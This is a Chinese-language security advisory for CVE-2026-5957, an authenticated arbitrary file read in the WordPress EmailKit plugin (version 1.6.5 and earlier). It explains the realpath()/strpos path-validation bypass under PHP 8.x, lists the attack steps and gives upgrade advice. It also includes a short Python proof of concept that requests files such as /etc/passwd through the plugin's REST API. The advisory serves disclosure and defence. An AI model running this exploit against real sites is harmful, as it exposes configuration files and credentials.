IPBUF安全漏洞报告
English
CVE-2026-5957 CVSS 6.5 中危

CVE-2026-5957 WordPress EmailKit插件任意文件读取漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-5957
漏洞类型
任意文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress EmailKit 插件

相关标签

WordPressEmailKit任意文件读取路径遍历CVE-2026-5957PHP 8.x

漏洞概述

WordPress EmailKit插件在1.6.5及以下版本中存在任意文件读取漏洞。该漏洞源于CheckForm类的create_template()方法中路径遍历验证逻辑缺陷。由于在可能不存在的目录上调用realpath(),结合PHP 8.x的特性,导致验证逻辑被绕过。拥有作者及以上权限的攻击者可通过REST API读取服务器上的敏感文件,如wp-config.php。

技术细节

漏洞核心位于CheckForm类的create_template()方法。代码试图通过strpos检查路径是否在允许的基目录(wp-content/uploads/emailkit/templates/)下。然而,realpath()在目录不存在时返回false。在PHP 8.x中,strpos($real_path, false)会将false转换为空字符串,strpos($haystack, '')总是返回0。因此,检查条件strpos(...) !== 0判定为false,从而绕过路径验证。攻击者只需在emailkit-editor-template REST API参数中提供绝对路径(如/etc/passwd或/var/www/html/wp-config.php),即可读取文件内容。

攻击链分析

STEP 1
步骤1
攻击者获取一个拥有Author或更高权限的WordPress账户凭证。
STEP 2
步骤2
攻击者构造恶意请求,向EmailKit插件的REST API端点发送请求。
STEP 3
步骤3
攻击者在请求参数emailkit-editor-template中指定想要读取的文件绝对路径(如wp-config.php)。
STEP 4
步骤4
服务器端处理请求时,由于基目录不存在导致realpath()返回false,利用PHP 8.x特性绕过路径验证。
STEP 5
步骤5
服务器读取并返回攻击者指定路径的文件内容,导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-json/emailkit/v1/template" attacker_cookie = "wordpress_logged_in_xxx=..." # Authenticated cookie (Author or higher) # Payload: Absolute path to a sensitive file absolute_path = "/etc/passwd" # Headers headers = { "Cookie": attacker_cookie, "Content-Type": "application/json" } # Data payload based on the vulnerability description data = { "emailkit-editor-template": absolute_path } # Send the POST request response = requests.post(target_url, headers=headers, json=data) # Check response if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print("[-] Exploit failed.") print(response.text)

影响范围

WordPress EmailKit 插件 <= 1.6.5

防御指南

临时缓解措施
建议立即将EmailKit插件升级到修复了该漏洞的最新版本。如果暂时无法升级,应考虑禁用该插件或通过Web应用防火墙(WAF)拦截针对emailkit-editor-template参数的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表